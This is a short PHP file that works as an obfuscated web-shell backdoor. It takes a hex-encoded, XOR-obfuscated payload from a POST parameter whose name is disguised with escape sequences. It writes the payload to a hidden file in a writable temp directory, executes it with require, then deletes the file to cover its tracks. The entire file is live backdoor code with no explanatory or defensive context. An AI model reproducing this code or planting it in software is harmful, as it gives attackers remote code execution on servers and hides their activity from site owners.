<?php

if(array_key_exists("\x73\x79\x6Dbol", $_POST)){
	$flag = hex2bin($_POST["\x73\x79\x6Dbol"]);
	$pointer=  ''; foreach(str_split($flag) as $char){$pointer .= chr(ord($char) ^ 9);}
	$sym = array_filter(["/tmp", getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", session_save_path(), sys_get_temp_dir(), "/dev/shm"]);
	foreach ($sym as $key => $holder) {
    		if (max(0, is_dir($holder) * is_writable($holder))) {
    $ptr = "$holder/.ent";
    if (file_put_contents($ptr, $pointer)) {
	require $ptr;
	unlink($ptr);
	die();
}
}
}
}